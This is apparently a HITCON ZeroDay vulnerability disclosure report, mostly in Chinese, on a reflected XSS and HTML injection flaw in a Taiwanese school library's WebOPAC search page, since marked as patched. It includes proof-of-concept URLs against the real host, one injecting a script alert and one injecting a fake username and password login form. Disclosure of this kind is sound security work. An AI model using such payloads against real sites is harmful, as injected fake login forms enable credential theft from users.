Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-01577
- Vendor: 國立新竹高級工業職業學校
- Title: 國立新竹高工圖書館 WebOPAC線上公用目錄查詢 Reflected XSS、HTML Injection
- Introduction: Reflected XSS、HTML Injection
- 感謝函
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2024/12/20 21:41:50 : 新提交 (由 Enival 更新此狀態)
- 2024/12/23 17:10:26 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/12/27 14:43:24 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/12/27 14:43:24 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/12/27 14:43:24 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/12/30 17:55:30 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/02/14 16:46:17 : 複測申請中 (由 組織帳號 更新此狀態)
- 2025/02/14 16:46:49 : 複測申請中 (由 組織帳號 更新此狀態)
- 2025/02/20 20:17:50 : 確認已修補 (由 Enival 更新此狀態)
- 2025/02/24 03:03:27 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-01577
- 通報者:zeyyaz (Enival)
- 風險:中
- 類型:反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)
參考資料
漏洞說明: OWASP - Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
防護原則: OWASP - XSS (Cross Site Scripting) Prevention Cheat Sheet
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
防禦繞過方式: OWASP - XSS Filter Evasion Cheat Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
相關網址
敘述
未確實驗證輸入,可注入JS、HTML語法。
JS:
http://lib.hcvs.hc.edu.tw/webopac/simdata.php?pagerows=15'><script>alert("Reflected_XSS_test_successful.")</script>
HTML:
http://lib.hcvs.hc.edu.tw/webopac/simdata.php?pagerows=15'><form method="GET"><table><tr><td style="font-size:24px; background:linear-gradient(to right, magenta, cyan); -webkit-background-clip:text; color:transparent;">Username:</td><td><input type="text" name="username" value="" style="font-size:24px;" /></td></tr><tr><td style="font-size:24px; background:linear-gradient(to right, crimson, orange); -webkit-background-clip:text; color:transparent;">Password:</td><td><input type="password" name="passwd" value="" style="font-size:24px;" /></td></tr><tr><td></td><td><input type="submit" name="submit" value="login" style="font-size:24px; background:linear-gradient(to right, royalblue, aquamarine); -webkit-background-clip:text; color:transparent;" /></td></tr></table></form>